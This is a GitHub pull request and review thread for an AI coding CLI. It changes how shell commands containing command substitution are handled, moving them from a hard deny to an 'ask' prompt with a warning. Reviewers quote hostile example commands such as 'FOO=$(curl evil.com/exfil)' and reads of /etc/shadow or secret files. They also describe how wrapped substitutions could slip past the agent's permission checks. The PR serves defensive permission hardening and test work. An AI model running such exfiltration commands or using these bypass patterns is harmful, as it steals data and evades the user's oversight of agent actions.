fix(permissions): make command substitution ask, not deny (#4093)#4386
Merged
Conversation
`resolveDefaultPermission` hard-denied any shell command containing
$(), backticks, <(), or >(). Two problems:
1. The deny couldn't be overridden by YOLO mode — YOLO sees the
result only as `'ask'` or `'default'`, never `'deny'`.
2. It fired inconsistently: only when `hasRelevantRules()` happened
to be true. A compound command like
`echo hello && python3 -c "print($(echo hello))"` was hard-denied
because `echo hello` matched an unrelated allow rule and made
`hasRelevantRules()` true, while the same `python3` sub-command
in isolation kept its L3 `'ask'` (PM skipped) and was approvable.
Same substitution, opposite verdict — purely a function of which
unrelated rules were loaded.
This is the surviving half of a two-step migration. `fb7e30ad3
"fix(shell): remove command substitution deny check from
getDefaultPermission"` removed the equivalent L3 deny but missed
the L4 mirror — this commit completes that cleanup.
What changes:
- `resolveDefaultPermission` no longer special-cases substitution; the
AST read-only check already marks substitution-bearing commands as
non-read-only, so they fall through to `'ask'` with everything else.
- Return type narrowed from `'allow' | 'ask' | 'deny'` to `'allow' | 'ask'`.
- `ToolExecuteConfirmationDetails` gains an optional `warnings?: string[]`
field. `ShellToolInvocation.getConfirmationDetails` populates it with a
"Contains command substitution …" line when substitution is detected
on either the original or stripped command. The CLI confirmation
dialog renders these as ⚠-prefixed lines in the warning color,
mirroring Claude Code's UX (see issue thread for reference).
Out of scope: `checkCommandPermissions` in shell-utils.ts still hard-
denies substitution. That path is exercised by user-authored `!{...}`
shell injections in slash commands (shellProcessor.ts) and is a
prompt-injection defense, not the agent-tool path #4093 describes.
Regression coverage:
- permission-manager.test.ts: new `command substitution (issue #4093)`
describe with 5 cases — standalone $(), the exact compound from the
issue, backticks, <(), and deny-rule precedence.
- shell.test.ts: new `command substitution warning (issue #4093)`
describe with 4 cases — $()/backticks/<() each surface a warning,
plain commands do not.
- ToolConfirmationMessage.test.tsx: 2 new render tests.
Fixes #4093
Contributor
There was a problem hiding this comment.
Pull request overview
This PR fixes inconsistent handling of shell commands containing command substitution by removing the hard-deny default in PermissionManager.resolveDefaultPermission and instead surfacing an informational warning in the CLI confirmation UI. This aligns the permission outcome for substitution-bearing commands with the normal “ask” flow while still flagging the risk to users.
Changes:
- Remove command-substitution →
'deny'defaulting fromPermissionManager.resolveDefaultPermission, letting such commands fall through to'ask'. - Add an optional
warnings?: string[]field to exec confirmation details and populate it for shell commands that contain command substitution. - Render
warningsin the CLIToolConfirmationMessageand add regression tests covering both the permission decision and the UI warning.
Reviewed changes
Copilot reviewed 7 out of 7 changed files in this pull request and generated 2 comments.
Show a summary per file
| File | Description |
|---|---|
| packages/core/src/tools/tools.ts | Adds optional warnings?: string[] to exec confirmation details. |
| packages/core/src/tools/shell.ts | Detects command substitution and attaches a warning to confirmation details. |
| packages/core/src/tools/shell.test.ts | Adds tests asserting warnings appear (or are omitted) as expected. |
| packages/core/src/permissions/permission-manager.ts | Removes substitution hard-deny from default permission resolution and updates docs/types accordingly. |
| packages/core/src/permissions/permission-manager.test.ts | Adds regression tests for issue #4093 scenarios. |
| packages/cli/src/ui/components/messages/ToolConfirmationMessage.tsx | Renders optional warnings under the command in the confirmation UI. |
| packages/cli/src/ui/components/messages/ToolConfirmationMessage.test.tsx | Adds tests for warnings rendering/omission in the CLI message component. |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
Collaborator
Author
E2E verification reportFollowed Setup# 1. Build the local fix
rm -rf packages/core/dist packages/cli/dist
npm run build && npm run bundle
# 2. Workspace with the rule that reproduces the original deny
mkdir -p /tmp/e2e-4093/.qwen
cat > /tmp/e2e-4093/.qwen/settings.json <<'JSON'
{
"permissions": {
"allow": ["Bash(echo *)"]
}
}
JSON
CLI=$PWD/dist/cli.jsThis is the exact Scenario 1 — issue's headline reproduction (YOLO, compound, mixed allow + substitution)Before the fix this was hard-denied with cd /tmp/e2e-4093 && node "$CLI" \
'Run this exact shell command and report the output: echo hello && python3 -c "print($(echo world))"' \
--approval-mode yolo --output-format jsonResult — fixed:
The compound command now reaches execution; YOLO sees Scenario 2 — standalone substitution, no relevant rules (regression guard)This path was already working before the fix (PM skipped because mkdir -p /tmp/e2e-4093-no-rules # no .qwen/ settings → no relevant rules
cd /tmp/e2e-4093-no-rules && node "$CLI" \
'Run this exact shell command: python3 -c "print($(echo standalone))"' \
--approval-mode yolo --output-format jsonResult — preserved: Scenario 3 — interactive default mode renders the new warningDrives the TUI through tmux new-session -d -s e2e4093 -x 200 -y 50 \
"cd /tmp/e2e-4093 && node '$CLI' --approval-mode default"
tmux send-keys -t e2e4093 \
"Use run_shell_command with this EXACT command argument, do not modify or wrap it: 'date && ls -la \$(pwd)'"
tmux send-keys -t e2e4093 EnterCaptured pane (verbatim, key portion): The new ⚠ line appears directly below the command body in the warning theme color, mirroring Claude Code's "Contains command_substitution" hint that #4093 referenced. After pressing Summary
E2E + unit-level coverage now both green. No opaque deny message observed anywhere in the new behavior. |
Contributor
Code Coverage Summary
CLI Package - Full Text ReportCore Package - Full Text ReportFor detailed HTML reports, please see the 'coverage-reports-22.x-ubuntu-latest' artifact from the main CI run. |
…review) Addresses two round-1 findings from Copilot on PR #4386: 1. ToolConfirmationMessage: the warnings block was rendered as a sibling *below* the MaxSizedBox-capped command body (with marginTop=1), but the height budget computed by availableBodyContentHeight() — and the compactMode cap of COMPACT_BODY_MAX_LINES — didn't account for the extra lines. On small terminals + compactMode this could push the options list off-screen. Reserve the warnings footprint (`warningsCount + 1` for marginTop) up-front so the overall exec block respects availableTerminalHeight / COMPACT_BODY_MAX_LINES. Added a regression test (`keeps options visible alongside the warning on a tight compactMode layout`) that renders a substitution command with `availableTerminalHeight=10` + `compactMode=true` and asserts both the warning text and all three compactMode option labels remain on-screen. 2. permission-manager.test.ts: the new `command substitution (issue #4093)` describe had a misleading inline comment that conflated the issue's original scenario (`echo hello && python3 ...` + `Bash(echo *)`) with the test fixture (`git status && python3 ...` + `Bash(git *)`). Rewrote it to describe what the test actually does (`git status` matches `Bash(git *)`, making hasRelevantRules() true; the python3 sub-command then resolves via resolveDefaultPermission).
wenshao
reviewed
May 21, 2026
wenshao
left a comment
Collaborator
There was a problem hiding this comment.
[Suggestion] MonitorToolInvocation.getDefaultPermission() (packages/core/src/tools/monitor.ts:174) still hard-denies command substitution with detectCommandSubstitution → 'deny' — the identical pattern this PR removes from resolveDefaultPermission. The PR description explains why checkCommandPermissions retains its hard-deny (prompt-injection defense for !{…} slash commands), but doesn't mention monitor.ts. YOLO users can't override it and no warning is surfaced. Consider either applying the same ask+warning pattern or adding a code comment documenting why monitor intentionally stays stricter.
[Suggestion] buildPermissionRequestContent() in packages/cli/src/acp-integration/session/permissionUtils.ts has no exec branch — the new warnings field is not propagated to ACP clients. IDE integrations won't surface the substitution warning when prompting the user for approval.
[Suggestion] Non-interactive permissionController (packages/cli/src/nonInteractive/control/controllers/permissionController.ts) doesn't read the new warnings field for exec confirmations. Mitigated by auto-deny in non-interactive mode, but daemon/API consumers still miss the context.
— qwen-latest-series-invite-beta-v34 via Qwen Code /review
…active (#4386 review) Addresses round-2 review findings from wenshao on PR #4386. Four related findings, all about sibling drift from the original #4093 fix: either the same hard-deny-on-substitution pattern in a sibling tool, or downstream consumers that don't propagate the new warnings field. 1. monitor.ts: `MonitorToolInvocation.getDefaultPermission()` had the identical `detectCommandSubstitution → 'deny'` pattern that the original PR removed from `PermissionManager.resolveDefaultPermission` — sibling drift the original audit missed. Same UX problems apply (YOLO unbypassable, opaque deny). Removed the deny branch, added the substitution warning in `getConfirmationDetails` (mirroring ShellToolInvocation), updated the 5 existing tests that asserted the old 'deny' to assert 'ask', and added a confirmation-warning test for the issue #4093 mirror case. Monitor still maintains its separate permission boundary (Monitor(...) rules don't share with Bash(...) — documented in the unchanged comment at the top of getConfirmationDetails); only the substitution-deny half is removed. 2. ACP `buildPermissionRequestContent` (permissionUtils.ts): had no `exec` branch, so the new `warnings` field never reached ACP clients (IDE integrations etc.). Added an `exec` branch that emits one `⚠ <warning>` text content per warning, alongside the existing `edit` (diff) and `plan` (text) branches. Two regression tests added: warning present → ⚠ content entry; no warnings → empty. 3. Non-interactive `permissionController.buildPermissionSuggestions`: the `case 'exec'` description string didn't read `warnings`, so daemon/API consumers that delegate the approval decision back to a user lost the substitution context. Appended warnings as a parenthesized `⚠ ...` suffix to the description string. (No test file exists for this controller — change is small and verifiable by inspection; adding test scaffolding is out of scope for this round.) 4. Test coverage: the `command substitution (issue #4093)` describe blocks in `shell.test.ts` and `permission-manager.test.ts` covered `$()`, backticks, and `<()` but not `>()` — even though `detectCommandSubstitution` and the warning text both list it. Added a `>()` case to each block to close the regression gap.
…est (#4386 self-review) Two related self-review findings from my pre-push review on PR #4386: 1. SR-1: the round-1 layout regression test (`keeps options visible alongside the warning on a tight compactMode layout`) used a single-line command at `contentWidth=80`. `MaxSizedBox` clamps to `min(content_lines, maxHeight)`, so a 1-line command renders as 1 line regardless of whether `bodyContentHeight -= warningsHeight` is applied — the test would still pass if that line were silently removed. Replaced with a 4-line command and an assertion on the `... N lines hidden ...` truncation footer that MaxSizedBox emits *only* when its cap is actually active. Confirmed RED → fix → GREEN: the new test fails when the warnings subtraction is removed and passes when restored. 2. SR-2: the warnings-height reservation reserved `warningsCount + 1` lines (one per warning + one marginTop separator). On narrow terminals the warning text wraps across multiple visual rows, so the reservation under-counts. Replace the per-warning `+1` with `ceil((warning.length + 2) / max(contentWidth, 1))` to account for each warning's actual rendered row count. The `+ 2` accounts for the `⚠ ` prefix; the `max(...,1)` keeps the math defined for pathological inputs. Independently flagged by Codex during self-review as `[P3] Account for wrapped warning lines`.
Collaborator
Author
|
Thanks @wenshao. Round-2 findings addressed in 7bb420562 (reviewer items) and c10b5b632 (self-review follow-up). Per-finding: 1. 2. ACP 3. Non-interactive Also bundled two self-review follow-ups in c10b5b632 since they overlap with the round-2 area:
A |
wenshao
reviewed
May 21, 2026
wenshao
left a comment
Collaborator
There was a problem hiding this comment.
No review findings. Downgraded from Approve to Comment: CI still running. — gpt-5.5 via Qwen Code /review
Collaborator
Local maintainer validation — all PR-relevant gates green ✅Reviewed at head Environment
Results
Triage of the 3 core test failures (NOT caused by PR 4386)
End-to-end proof against built
|
4 tasks
wenshao
approved these changes
May 21, 2026
wenshao
requested changes
May 21, 2026
…view) Round-3 review caught a real observability gap: when `needsConfirmation` returns false (YOLO mode at line 1791, or auto-approve at line 1740), the scheduler skips `getConfirmationDetails()` entirely and the substitution warning generated there never reaches the user. Pre-#4093 this didn't matter because substitution hard-denied before reaching the bypass; post-#4093 it executes silently with no audit trail. YOLO/auto by design execute arbitrary LLM-emitted commands without warnings — bypassing the substitution warning isn't a new vulnerability vs. e.g. an unwarned `rm -rf /tmp/x`. But operators troubleshooting a prompt-injection incident need an audit trail. Adds a module-level `maybeLogSubstitutionBypass()` helper that emits a `debugLogger.warn` only when (a) the canonical tool name is in the shell-like audit set (RUN_SHELL_COMMAND / MONITOR) AND (b) the command arg contains substitution. Called from both bypass branches with a `yolo` / `auto-approve` discriminator so the audit log identifies which path bypassed. DEBUG-only — silent at default verbosity, no noise for typical YOLO users; forensic signal lives in `DEBUG=*` traces. No separate test added: `debugLogger` is module-private (created at the top of coreToolScheduler.ts), and mocking the createDebugLogger module is disproportionate complexity for a DEBUG-only audit signal whose logic is a 7-line guard chain.
…permissionController test (#4386 review) Round-3 review cleanup, bundling 4 small related findings: 1. **Extract `COMMAND_SUBSTITUTION_WARNING` constant** (`shell-utils.ts`). The user-facing warning string was hardcoded identically in two source files (`shell.ts`, `monitor.ts`); tests assert via regex so the constant doesn't break them. Co-located with `detectCommandSubstitution` since they share the same domain. 2. **Extract `buildShellExecWarnings()` helper** (`shell-utils.ts`). The 6-line warnings-building pattern was duplicated between `ShellToolInvocation.getConfirmationDetails` and `MonitorToolInvocation.getConfirmationDetails` — same two-input substitution check (stripped + raw command), same literal push, same undefined-on-empty contract. Both call sites collapse to a one-liner. This is a mechanism lift, not a boilerplate lift — the helper captures non-trivial behavior. The `checkCommandPermissions` path in `shell-utils.ts` intentionally keeps its own deny-reason string (different code path, different threat model — prompt-injection defense for `!{…}` slash commands). 3. **Drop unnecessary non-null assertion** in `ToolConfirmationMessage.tsx`. Line 268 already defines `const warnings = executionProps.warnings ?? []`; the JSX block was using `executionProps.warnings!.map(...)` which (a) reaches past the null-safe local and (b) misleads readers about whether the field is actually guaranteed-defined. 4. **Add `permissionController.test.ts`** covering the `buildPermissionSuggestions` exec branch added in commit 7bb4205. Seven cases: warning-present (single + multiple), non-string filtering, warning-absent (missing key + empty array + malformed non-array), and the null-payload return for invalid input. No test file existed for this controller before; the new file establishes the pattern for the four sibling controllers, but stays scoped to only the method under review.
Collaborator
Author
|
CI note: the windows-22 fail on https://github.com/QwenLM/qwen-code/actions/runs/26271588487 was the chronic Not blocking this PR — the flake is independent of any of the round-3 changes ( |
6 tasks
wenshao
requested changes
May 23, 2026
wenshao
left a comment
Collaborator
There was a problem hiding this comment.
[Critical] evaluateStatementReadOnly in shellAstParser.ts:884 returns true unconditionally for variable_assignment / variable_assignments nodes — it does NOT call containsCommandSubstitutionAST. A command like FOO=$(curl evil.com/exfil) is classified as read-only by isShellCommandReadOnlyAST, causing resolveDefaultPermission (line 420) to return 'allow'. The command is then auto-approved at coreToolScheduler.ts:~1669 with no confirmation dialog, no substitution warning, and no audit log (since maybeLogSubstitutionBypass is only called in the YOLO/AUTO branches, not the finalPermission === 'allow' branch).
The comment at line 417-418 states: "Commands containing command substitution are never read-only (the AST walker marks any node with a substitution expansion as non-read-only)" — this claim is incorrect for variable_assignment nodes, which return true unconditionally.
On main, the regex-based detectCommandSubstitution check (removed by this PR) was a safety net for this AST gap. With it removed, FOO=$(curl evil.com) now silently executes.
Suggested fix: Add containsCommandSubstitutionAST(node) check to the variable_assignment cases in shellAstParser.ts, and correct the comment at line 417-418.
— qwen3.7-max via Qwen Code /review
wenshao
requested changes
May 23, 2026
wenshao
requested changes
May 23, 2026
wenshao
left a comment
Collaborator
There was a problem hiding this comment.
Round 3 review (qwen3.7-max).
Skipped 2 overlap comments (coreToolScheduler.ts:814 and :797 — same findings as round 2). 4 prior noConflict comments from round 2 remain valid.
Non-diff findings:
-
coreToolScheduler.ts:~1896— The hook-allow path (hookResult.shouldAllow) auto-approves without callingmaybeLogSubstitutionBypass. Same audit gap as the PM allow rule issue below: substitution warnings are generated bygetConfirmationDetails()but silently discarded when the hook grants permission. -
coreToolScheduler.ts:~3297—autoApproveCompatiblePendingToolssibling-tool ProceedAlways path also auto-approves on PM'allow'without substitution audit.
— qwen3.7-max via Qwen Code /review
pomelo-nwu
previously approved these changes
May 25, 2026
pomelo-nwu
left a comment
Collaborator
There was a problem hiding this comment.
LGTM. Fix inconsistent command substitution permission handling — change from hard-deny to ask, allowing YOLO/auto modes to approve while still surfacing warnings to users.
…4386 R4) Round-4 critical findings from wenshao: 1. **AST substitution blind spots in non-`command` node types** — `evaluateStatementReadOnly` (shellAstParser.ts) only checked `containsCommandSubstitutionAST` inside the `command` node branch. Substitution living in OTHER node types slipped through as read-only, causing `resolveDefaultPermission` to return `'allow'` and `coreToolScheduler` to auto-approve silently. Verified blind spots (tests added): - `variable_assignment` / `variable_assignments`: `FOO=$(curl evil)` and `FOO=$(cat /etc/shadow) ls` were read-only - Backtick form: `FOO=\`cat /etc/shadow\`` was read-only The pre-PR #4386 regex check in `resolveDefaultPermission` was a safety net masking these AST gaps; removing it without patching the AST was a real security regression. Fix: hoist the `containsCommandSubstitutionAST` guard to the top of `evaluateStatementReadOnly` so every node type inherits the check in one place. Net behavior: substitution anywhere in the statement subtree marks the whole statement as non-read-only, matching the contract the function's docstring (and the comment in `resolveDefaultPermission`) already claimed. Tests follow Step 7.1 RED → fix → GREEN ordering: confirmed each of the 3 affected shapes was misclassified as read-only before the AST hoist, and all 4 cases pass after. 2. **Silent catch in `resolveDefaultPermission`** — the `try/catch` around `isShellCommandReadOnlyAST` swallowed parser exceptions without logging. With the regex safety net gone, the AST check is now the sole gatekeeper, so a parser regression would silently route every command to 'ask' with no trace. Added the same `debugLogger.warn` already used by the equivalent catches in `shell.ts` (line 1394) and `monitor.ts` (line 192). 3. **Misleading comment** in `resolveDefaultPermission` already asserted "the AST walker marks any node with a substitution expansion as non-read-only" — true post-fix, but false pre-fix. Updated to reference the load-bearing top-level guard in `shellAstParser.ts` so the claim is verifiable from one place. Closes wenshao R4 findings: AST blind spots (`permission-manager.ts:417` + `shellAstParser.ts:884`), silent catch (`permission-manager.ts:415`).
…4386 R4) Round-4 audit-log consistency fixes from wenshao: 1. **Dual-check stripped form in audit predicate** — round 3's `maybeLogSubstitutionBypass` only ran `detectCommandSubstitution` on the raw command, but `buildShellExecWarnings` (the confirmation-dialog warning helper extracted in round 3) checks BOTH the raw and the `stripShellWrapper`-stripped forms. For wrappers like `bash -c 'echo $(cat secret)'` the `$(` sits inside the outer single quotes, so raw-check returns false but the inner shell still expands the substitution. Result: dialog showed the warning, audit log silently dropped it — exactly the wrapper pattern an exfiltration attack would use. Refactored the helper to extract a pure predicate `shouldAuditSubstitutionBypass` that does the dual-check, exported for unit testing. 2. **JSDoc correction** — round 3's JSDoc claimed "DEBUG-level log here so the signal exists when `DEBUG=*` is set". Both clauses were wrong: the call uses `debugLogger.warn` (WARN level), and `debugLogger` is controlled by `QWEN_DEBUG_LOG_FILE` (active by default) rather than the `DEBUG=*` convention of the `debug` npm package. Rewrote the doc to match the real semantics. 3. **Audit log on three more auto-approve bypass paths** — round 3 only covered the YOLO and auto-mode-`approved` bypasses, missing three other paths that auto-approve without invoking `getConfirmationDetails()`: - PM `'allow'` fast path (coreToolScheduler.ts:1664) — fires when an allow rule matches a substitution-bearing command (e.g. `allow Bash(python3 *)` + `python3 -c "$(...)"`). - permission-request hook `shouldAllow` (line ~1896) — fires when an external hook grants permission directly. - `autoApproveCompatiblePendingTools` sibling-tool ProceedAlways (line ~3300) — fires when one tool's user-issued ProceedAlways outcome rolls up to a sister tool. Uses `canonicalToolName` to normalise the legacy name in the audit log. New `SubstitutionBypassReason` discriminator union surfaces the bypass path in the log so operators can distinguish them. 4. **Unit test coverage** — added a `shouldAuditSubstitutionBypass` describe block to `coreToolScheduler.test.ts` covering all 8 branches: non-shell tool, missing args, non-string command, absent substitution, direct substitution (shell + monitor), the load-bearing wrapper case (proves the dual-check works), backtick substitution, and env-prefix substitution. Out of scope: reviewer also suggested forcing `'ask'` whenever substitution is detected with a matching allow rule. Declined — would partially re-introduce #4093 (substitution can't be allowed via rules even with explicit user intent), and overrides the allow-rule "trust this pattern" semantics. The audit-log extension above gives operators the visibility they asked for without overriding user-configured permission policy. Closes wenshao R4 findings: dual-check (cids 3293074365, 3293075616), JSDoc level/envvar (cids 3293074371, 3293075619), audit on PM-allow (cid 3293078740 — partial), audit on hook + sibling-auto (rid 4351040390 non-diff), and test coverage for the predicate (cid 3293078758 — partial).
…al-check (#4386 R4) Round-4 test-coverage findings from wenshao: 1. **env-prefix integration test in `shell.test.ts`** (cid 3293075622) — the `command substitution warning (issue #4093)` describe block in `shell.test.ts` covered `$()`, backticks, `<()`, `>()`, and the no-warning case, but had no test for the shape where `stripShellWrapper` strips the env-prefix + `bash -c` wrapper to yield a substitution-free inner command (`echo ok`) while the raw command has substitution in the env assignment (`FOO=$(cat secret.txt) bash -c 'echo ok'`). This is the exact shape that exercises the `|| detectCommandSubstitution(rawCommand)` branch of `buildShellExecWarnings` via integration through `getConfirmationDetails`. Without this test, removing the `||` clause wouldn't regress any case here. 2. **`buildShellExecWarnings` unit tests in `shell-utils.test.ts`** (cid 3293078758 second half) — round 3 extracted `buildShellExecWarnings` as an exported helper but added no direct unit test. Added a 5-case describe block covering: no substitution, stripped-form substitution, the env-prefix dual-check case (with a sanity-check that the stripped form actually lacks `$(` to make the dual-check load-bearing), backticks, and process substitution. These complement the integration tests in shell.test.ts / monitor.test.ts which exercise the helper through the tool confirmation paths. Closes wenshao R4 findings: env-prefix integration test (cid 3293075622), `buildShellExecWarnings` direct unit coverage (cid 3293078758 — second half).
Collaborator
Author
|
Round-4 review (@wenshao via qwen3.7-max) addressed in 3 commits + 8 distinct findings. Aggregate summary: Critical correctness — 42debd13d:
Audit log consistency — a24485029:
Test coverage — 456291fd4:
All 9 inline threads resolved. 1227 tests passing across 18 test files in the touched area. Round-4 net: +291 LOC (61 critical + 158 audit + 73 tests). |
…4386 R4 CI) Round-4 commit a244850 added `import { ToolNames }` without checking the file already had `import { ToolNames, ToolNamesMigration }` at line 35. Vitest's esbuild was permissive about the duplicate (silently used the latter) so the test file passed locally and `npx tsc --noEmit` on the package didn't complain either — but CI's `tsc --build` is strict and errored with TS2300 "Duplicate identifier 'ToolNames'", taking down Lint + all three test platforms + Coverage in one go (run 26382523711). Removed the duplicate import. Verified locally via `rm -rf packages/core/dist && npx tsc --build` (clean) + `npx vitest run` (171/171 pass).
wenshao
reviewed
May 25, 2026
wenshao
left a comment
Collaborator
There was a problem hiding this comment.
Non-diff observation: maybeLogSubstitutionBypass is module-private in coreToolScheduler.ts and called at all 5 CLI-side bypass paths, but Session.ts (ACP path) has parallel bypass sites (~lines 1940, 1975, 2041, 2067) with zero audit-logging calls. ACP clients (VS Code extension, daemon) that auto-approve substitution-bearing commands via PM allow rules, AUTO mode, or hooks leave no forensic trace in the debug log. Consider extracting the audit predicate (shouldAuditSubstitutionBypass, already exported) into a shared location and calling it from Session.ts at each bypass site.
— qwen3.7-max via Qwen Code /review
Collaborator
Author
|
@wenshao thanks for the round-5 pass. All 3 findings (warning-width chrome, audit-log Specifically on the
Both inline threads resolved, follow-up tracked in #4509. Holding the PR at its current scope for human review. |
wenshao
requested changes
May 25, 2026
Round-6 review caught a real Critical security regression my R0 + R4 audits both missed. **The bug.** `ShellToolInvocation.getDefaultPermission()` calls `stripShellWrapper(this.params.command)` BEFORE the AST check. For `FOO=$(curl evil) bash -c 'echo ok'`, `stripShellWrapper` discards the env-prefix AND unwraps the `bash -c` wrapper, yielding `echo ok` — a substitution-free residual that the AST classifies as read-only. Result: L3 returns `'allow'` → coreToolScheduler fast-allow at line 1664 auto-approves silently with no confirmation dialog and no user-visible warning. The R4 top-level AST guard (`evaluateStatementReadOnly` ↳ `containsCommandSubstitutionAST`) only catches substitution that survives `stripShellWrapper` to enter the parsed tree. The env-prefix + wrapper shape gets stripped to nothing visible, so the AST guard is asked to inspect a clean tree and returns true. The pre-#4386 regex `detectCommandSubstitution` in `resolveDefaultPermission` was a safety net masking exactly this gap — R0 removed it without recognising the strip-before-check pattern. Probe (vitest harness, real `isShellCommandReadOnlyAST`): ``` { raw: "FOO=`whoami` bash -c 'ls'", stripped: "ls", ast_on_stripped: true, // ← classifies as read-only ast_on_raw: false // ← R4 guard works on raw } ``` **The fix — `hasShellSubstitution` single source of truth.** Extracted dual-check predicate (`detectCommandSubstitution(raw) || detectCommandSubstitution(stripShellWrapper(raw))`) into `shell-utils.ts hasShellSubstitution(rawCommand)`. The raw arm catches the env-prefix-wrapper shape; the stripped arm catches the inside- single-quoted-wrapper-body shape that R3 already documented. Single predicate keeps detection semantics in lockstep across all surfaces. Gates added at: - `ShellToolInvocation.getDefaultPermission` (shell.ts:1384) — primary fix for the cited bug - `shellReadOnlyChecker.ts evaluateShellSegment` (line 298) — regex fallback path has the same strip-before-check pattern; only hit when WASM parser fails, but same root cause - `MonitorToolInvocation.getDefaultPermission` (monitor.ts:174) — belt-and-suspenders; `normalizeMonitorShellCommand`'s `safetyCommand` preserves env-prefix tokens so the AST already sees substitution there, but the gate parallels shell.ts in case `normalizeMonitorShellCommand`'s env-preservation ever regresses - `PermissionManager.resolveDefaultPermission` (permission-manager.ts:413) — belt-and-suspenders; the raw command reaches the AST already, but the reviewer-requested gate makes the intent grep-discoverable Refactor (Finding C, cid 3298521063): `buildShellExecWarnings` and `shouldAuditSubstitutionBypass` both now delegate to `hasShellSubstitution`, addressing the reviewer's concern that the audit-log path and the UI-warning path were maintaining parallel dual-check implementations that could silently diverge. **Test-first per skill Step 7.1.** Two new tests in `shell.test.ts` under `getDefaultPermission and getConfirmationDetails`: - `asks (not allow) for env-prefix substitution inside a bash wrapper` - `asks for backtick env-prefix substitution inside a bash wrapper` Both confirmed RED pre-fix (`expected "ask" got "allow"`); GREEN post-fix. Wider sweep (1262 tests across 19 files in permissions, tools, utils, core, cli) all green; tsc --build clean (matching CI's strict build). Out of scope for this commit (deferred to follow-up #4509): - R6 Finding B (dead catch blocks in resolveDefaultPermission / shell / monitor) — appended to #4509 - R6 Finding D (Record<string, unknown> cast in permissionController exec branch — could use discriminated-union narrow) — appended to #4509 - R6 Finding E (O(N×D) DFS in evaluateStatementReadOnly — could be hoisted to isShellCommandReadOnlyAST as O(N) root-level check) — appended to #4509 Closes wenshao R6 findings: env-prefix wrapper bypass (cid 3298521039 — Critical, fixed) + dual-check DRY (cid 3298521063 — fixed as side effect of A's refactor).
wenshao
requested changes
May 26, 2026
wenshao
left a comment
Collaborator
There was a problem hiding this comment.
Non-diff findings:
Test coverage gaps [Suggestion]:
shellReadOnlyChecker.ts— the newdetectCommandSubstitution(segment)check beforestripShellWrapperinevaluateShellSegmenthas no test for the env-prefix bypass case (FOO=$(curl evil) bash -c 'echo ok') through the regex-fallback path. If this check is accidentally removed, the fallback misclassifies the command as read-only.coreToolScheduler.test.ts—maybeLogSubstitutionBypass(the actualdebugLogger.warnemission) has zero integration tests. Only the pure predicateshouldAuditSubstitutionBypassis tested (8 cases). A refactor removing any of the 5 call sites would go undetected.permission-manager.test.ts— no PM-level test for the env-prefix wrapper patternFOO=$(curl evil) bash -c 'echo ok'throughresolveDefaultPermission.
— qwen3.7-max via Qwen Code /review
…bstitution-deny # Conflicts: # packages/cli/src/nonInteractive/control/controllers/permissionController.test.ts
Reverts: - fd2cf08 "fix(core): log substitution audit trail on YOLO/auto bypass" - a244850 "fix(core): extend substitution audit log + dual-check stripped form" The audit-log infrastructure was originally added in R3 as a self-Codex suggestion (forensic visibility when YOLO bypasses the substitution warning) and extended in R4 to PM-allow / hook / sibling-auto paths. None of this is what issue #4093 asked for — #4093 is purely about making substitution `'ask'` instead of `'deny'` so YOLO can override and the behavior is consistent across rule configurations. The audit log is debug-only forensic polish on a UX warning, not part of the permission-decision fix. Each subsequent review round (R4/R5/R6/R7) then surfaced sibling-drift findings on this infrastructure — PM-allow audit, hook audit, ACP audit-log parity, callId enrichment, dual-check asymmetry, integration tests — all of which were tracking the same out-of-scope addition. Removing the infrastructure removes the surface entirely. `hasShellSubstitution` (added in 5a5cfb4) is kept — it's still used by `shell.ts` L3 substitution gate and `buildShellExecWarnings`, both of which ARE in scope for #4093.
Surgical reverts that complement a5d9f08 (audit-log infrastructure revert). These changes were accepted in earlier review rounds but were out of scope for issue #4093 — a bug-fix PR whose stated goal is to make command substitution `'ask'` instead of `'deny'` so YOLO can override and the behavior is consistent across rule configurations. Anything beyond that fix is unrelated to the bug and not this PR's responsibility. Removed: 1. **ACP `permissionUtils.ts`: `exec` branch in `buildPermissionRequestContent`** (R2, commit 7bb4205). The new `warnings` field propagation to ACP clients (VS Code extension, daemon) was UX polish on a different surface. Not what #4093 asked for. Plus the two regression tests in `permissionUtils.test.ts`. 2. **Non-interactive `permissionController.ts`: `case 'exec'` warning-suffix on the suggestion description** (R2, commit 7bb4205). Same pattern as above — warning propagation to daemon/API consumers on a non-primary surface. Plus the entire `buildPermissionSuggestions — exec warnings` describe block I added to `permissionController.test.ts` (R3, commit baa1e9f). Main's #4491 timeout tests (which merged in via 6342d28) are preserved. 3. **`monitor.ts` belt-and-suspenders `hasShellSubstitution` gate** (R6, commit 5a5cfb4). I added this with an explicit "if normalizeMonitorShellCommand's env-preservation ever regresses" justification — i.e. defense-in-depth on a non-existent bug. Not what #4093 asked for. 4. **`permission-manager.ts` belt-and-suspenders `hasShellSubstitution` gate at `resolveDefaultPermission`** (R6, commit 5a5cfb4). Same pattern — reviewer-requested gate on top of a code path the R4 AST guard already covered. Not what #4093 asked for. What's kept (in scope for #4093): - L4 `deny → ask` in `resolveDefaultPermission` (the actual fix) - `warnings?: string[]` field on `ToolExecuteConfirmationDetails` + CLI rendering — #4093 explicitly asks for a user-visible reason - `ShellToolInvocation.getDefaultPermission` env-prefix wrapper gate (R6, 5a5cfb4) — closes a real `'allow'` regression on substitution - `shellReadOnlyChecker.ts` regex-fallback raw-check (R6, 5a5cfb4) — same root-cause bug on the WASM-fallback path - AST top-level substitution guard in `evaluateStatementReadOnly` (R4, 42debd1) — closes real AST blind spots - `hasShellSubstitution`, `buildShellExecWarnings`, `COMMAND_SUBSTITUTION_WARNING` helpers — still used by the above - Monitor tool's `'deny' → 'ask'` alignment for substitution (R2, 7bb4205) — same root-cause as the main fix
Collaborator
Author
PR scope resetAfter R7 review I realized this PR (originally a ~50 LOC
Two new revert commits:
Net effect: −422 LOC. Current footprint vs R7 findings — all out of scope, declined
If any of these matter independently, please open separate issues — they're not within this PR's scope and I'm not tracking them as follow-ups. What remains in scope and stays
|
wenshao
reviewed
May 26, 2026
wenshao
left a comment
Collaborator
There was a problem hiding this comment.
Round 7 review (qwen3.7-max) after the PR-scope reset (a5d9f087e + c6e130698). The surviving diff is focused and the three permission surfaces (ShellToolInvocation, MonitorToolInvocation, PermissionManager.resolveDefaultPermission) are behaviorally aligned on the current test corpus — no Critical findings. CI green 12/12; build + 817 tests across 7 PR-relevant suites pass.
